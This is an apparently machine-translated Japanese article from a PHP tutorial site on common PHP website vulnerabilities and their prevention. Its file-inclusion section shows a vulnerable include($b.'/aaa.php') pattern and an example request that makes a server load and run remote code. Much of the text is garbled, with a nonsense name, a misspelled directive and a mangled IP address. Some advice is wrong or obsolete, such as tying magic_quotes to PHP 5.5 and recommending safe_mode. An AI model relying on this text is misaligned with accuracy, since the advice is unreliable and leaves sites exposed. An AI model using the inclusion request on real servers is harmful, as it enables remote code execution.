ホームページ  >  記事  >  バックエンド開発  >  PHP Web サイトの一般的なセキュリティ脆弱性とそれに対応する予防策

PHP Web サイトの一般的なセキュリティ脆弱性とそれに対応する予防策

小云云
小云云オリジナル
2018-03-13 10:44:013690ブラウズ


現在、PHP をベースにした Web サイト開発が主流となっており、この記事の著者は Web サイトの脆弱性を軽減することを目的として、PHP による Web サイト攻撃とセキュリティ防御について考察しています。 !

1. PHP Web サイトの一般的な脆弱性
PHP の脆弱性に関しては、現在 5 つの一般的な脆弱性があります。セッションファイルの脆弱性、SQLインジェクションの脆弱性、スクリプトコマンド実行の脆弱性、グローバル変数の脆弱性、ファイルの脆弱性です。ここでは、これらの各脆弱性について簡単に紹介します。
1. セッション ファイルの脆弱性
セッション攻撃は、ハッカーによって最も一般的に使用される攻撃方法の 1 つです。ユーザーが特定の Web サイトを訪問するとき、ページに入るたびにアカウント番号とパスワードを入力する必要がないように、PHP はユーザーの使用とアクセスを容易にするためにセッションと Cookie を設定します。
2. SQL インジェクションの脆弱性
Web サイトの開発中、プログラマーがユーザー入力データに対する包括的な判断を欠いていたり、フィルタリングが甘かったりすると、サーバーがユーザー情報クエリなどの悪意のある情報を実行します。ハッカーは、悪意のあるプログラムから返された結果に基づいて、対応する情報を取得できます。これは Yuexingwei の SQL インジェクションの脆弱性です。
3. スクリプト実行の脆弱性
スクリプト実行の脆弱性の一般的な原因は、Web サイトの開発時にプログラマがユーザーから送信された URL パラメータをフィルタリングしていないことです。これにより、ユーザーが送信した URL に悪意のあるコードが含まれる可能性があり、クロスサイト スクリプティング攻撃が発生する可能性があります。以前の PHP Web サイトにはスクリプト実行の脆弱性がよく存在していましたが、PHP バージョンのアップグレードにより、これらの問題は軽減されるか、存在しなくなりました。
4. グローバル変数の脆弱性
PHP の変数は、他の開発言語のように事前に宣言する必要がなく、使用時にシステムが自動的に作成するため、変更する必要がありません。変数の型の説明を入力すると、システムはコンテキストに基づいて変数の型を自動的に決定します。この方法は、プログラマーがプログラミングでエラーを犯す可能性を大幅に減らすことができ、非常に便利です。
5. ファイルの脆弱性
ファイルの脆弱性は通常、Web サイトの設計時に Web サイト開発者が外部から提供されたデータを適切にフィルタリングしていないことが原因で、ハッカーがその脆弱性を悪用して Web プロセス上で対応するコマンドを実行する可能性があります。 lsm.php に include($b."/aaa.php".) のようなコードが含まれている場合、ハッカーにとっては変数 $b を介してリモート攻撃が可能であり、これはハッカー自身のコードである可能性があります。ウェブサイト。 a.php include=http://lZ7.0.0.1/b.php をサーバーに送信し、b.php の命令を実行できます。

2. 一般的な PHP 脆弱性の予防策
1. セッション脆弱性の予防
前の分析から、最も一般的なセッション攻撃はセッション ハイジャックであることがわかります。つまり、ハッカーはさまざまな攻撃方法を通じてユーザーのセッション ID を取得します。次に、攻撃されたユーザーの ID を使用して、対応する Web サイトにログインします。このため、これを防ぐには次の方法があります。 まず、セッション ID を定期的に変更します。 セッション ID の変更は、PHP 独自の機能を使用して実現できます。 次に、セッションのデフォルト名を変更します。この変数は通常、Cookie に保存されます。名前が変更されると、ハッカーによる攻撃をブロックできます。いわゆる透過性とは、Cookie が使用されないことを意味します。 http リクエストを使用する場合、セッション ID はリンクを使用して渡されます。透過的なセッション ID をオフにするには、PHP.ini ファイルを使用して非表示パラメータを渡します。ハッカーがセッション データを取得した場合、関連パラメータは隠蔽されます。はい、セッション ID 変数値を取得することも困難です。
2. SQL インジェクションの脆弱性の防止
ハッカーは SQL をインジェクションするさまざまな方法を持っており、それらは柔軟で変更可能ですが、SQL インジェクションに共通しているのは、入力フィルタリングの脆弱性を利用することです。したがって、SQLインジェクションを根本的に防ぐためには、リクエストコマンド、特にクエリリクエストコマンドのフィルタリングを強化することが根本的な解決策となります。具体的には、次の点が含まれます。 まず、フィルタリング ステートメントがパラメータ化されます。つまり、ユーザー情報の入力は、ユーザー入力をステートメントに直接埋め込むのではなく、パラメーター化されたステートメントを通じて実現されます。 2 つ目は、Web サイトの開発時に解釈プログラムの使用をできるだけ少なくすることです。3 つ目は、Web サイトの開発時にこの方法を使用して、Web サイトのバグをできる限り回避することです。そうしないと、ハッカーがこの情報を使用する可能性があります。さらに、Web サイトの脆弱性をスキャンするには、専門的な脆弱性スキャン ツールを頻繁に使用する必要があります。
3. スクリプト実行の脆弱性の防止
ハッカーがスクリプト実行の脆弱性を利用して攻撃する手段は多様かつ柔軟です。そのため、ハッカーがスクリプト実行の脆弱性を悪用するのを効果的に防止する必要があります。ここでよく使われる方法は以下の4つです。 1 つは、実行可能ファイルのパスを事前に設定することです。これは、safe_moade_exec_dir によって実現できます。2 つ目は、通常、escapeshellarg 関数を使用してコマンド パラメータを処理することです。3 つ目は、システム独自の関数ライブラリを使用して外部コマンドを置き換えることです。
4. グローバル変数の脆弱性を防ぐ
PHP のグローバル変数の脆弱性については、以前の PHP バージョンではこのような問題がありましたが、PHP バージョンを 5.5 にアップグレードした後は、php.ini を GPC に設定することで解決できます。さらに、php.ini 設定ファイルで、magic_quotes_runtime のブール値を設定して、外部引用符付きデータのオーバーフロー文字にバックスラッシュを追加するかどうかを設定できます。 Web サイトのプログラムがサーバーのどのような設定状態でも実行できることを保証するため。 get_magic_quotes_runtime を使用してプログラム全体の先頭で設定ステータスを検出し、手動で処理するかどうかを決定するか、set_magic_quotes_runtime(0) を使用して先頭 (または自動エスケープが必要ないとき) で設定をオフにすることができます。
5. ファイルの脆弱性の防止
PHP ファイルの漏洩については、サーバーの設定と構成によって防止の目的を達成できます。ここでの具体的な操作は次のとおりです。まず、ハッカーがエラー プロンプトを通じてデータベース情報や Web ページ ファイルの物理パスを取得できないように、PHP コード内のエラー プロンプトをオフにします。次に、open_basedir を慎重に設定します。これは、ファイル操作を禁止することを意味します。ディレクトリの外での処理。これにより、ローカル ファイルまたはリモート ファイルが攻撃から保護されます。3 番目に、コマンドを防止するために、セーフメイドをオンに設定します。ファイルのアップロードを標準化して禁止することで、PHP Web サイトのセキュリティ要素を効果的に向上させることができます。

関連する推奨事項:

PHP Web サイト開発におけるいくつかの一般的な攻撃方法を解決する

PHP Web サイトのインターフェイスに単純な暗号化を実装する方法

PHP Web サイト構築のプロセスと手順の詳細な説明

以上がPHP Web サイトの一般的なセキュリティ脆弱性とそれに対応する予防策の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。